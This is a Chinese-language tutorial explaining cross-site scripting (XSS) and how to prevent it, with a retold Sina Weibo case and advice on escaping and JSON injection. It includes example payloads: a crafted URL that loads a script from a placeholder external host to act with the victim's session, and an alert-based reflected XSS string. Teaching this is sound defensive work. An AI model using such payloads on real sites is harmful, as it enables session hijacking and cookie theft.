一、前言
XSS 即 Cross Site Script,跨站脚本攻击;缩写应该是 CSS,但为了和 CSS(Cascading Style Sheet,层叠样式表) 有所区分,因而改叫 XSS
也就通过利用网站漏洞,通过网址,输入框等方式构造恶意脚本( java script) ,用脚本进行攻击的一种方式。
二、概述
案例
代码语言:javascript复制新浪微博 XSS 漏洞
1) 攻击者发现漏洞:发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
2) 于是攻击者构建出一个 URL,然后诱导用户去点击:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
复制代码<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
3) 浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作
(1) 发现漏洞,比如:
- 网址中的链接可以注入脚本 比如 某网站搜索页面的网址是:http://xxx/search?keyword=搜索词。这个页面打开后会将“搜索词” 相显示在页面中。那么,构造一个
http://xxx/search?keyword="><script>alert('XSS');</script>
这样的网址,让用户点击,就可以进行攻击
- 文本输入框
- 富文本编辑器,比如,发帖,评论。通过在帖子,评论中注入 script脚本, 当查看评论时触发脚本,自动发送cookie信息等。
- 将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。
三、如何预防xss攻击
整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。
输入过滤
在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢? 答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。 那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?问题是:在提交阶段,我们并不确定内容要输出到哪里,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。
通过“防止浏览器执行恶意代码”来防范 XSS
- 防止 HTML 中出现注入。显示“来自用户输入的内容时”,要进行格式化转义
- 防止 JavaScript 执行时,执行恶意代码。比如 发评论的内容不能有脚本本执行。
- json 中也能被注入脚本。
JSON 也是不安全的:当 JSON 中包含 U 2028 或 U 2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。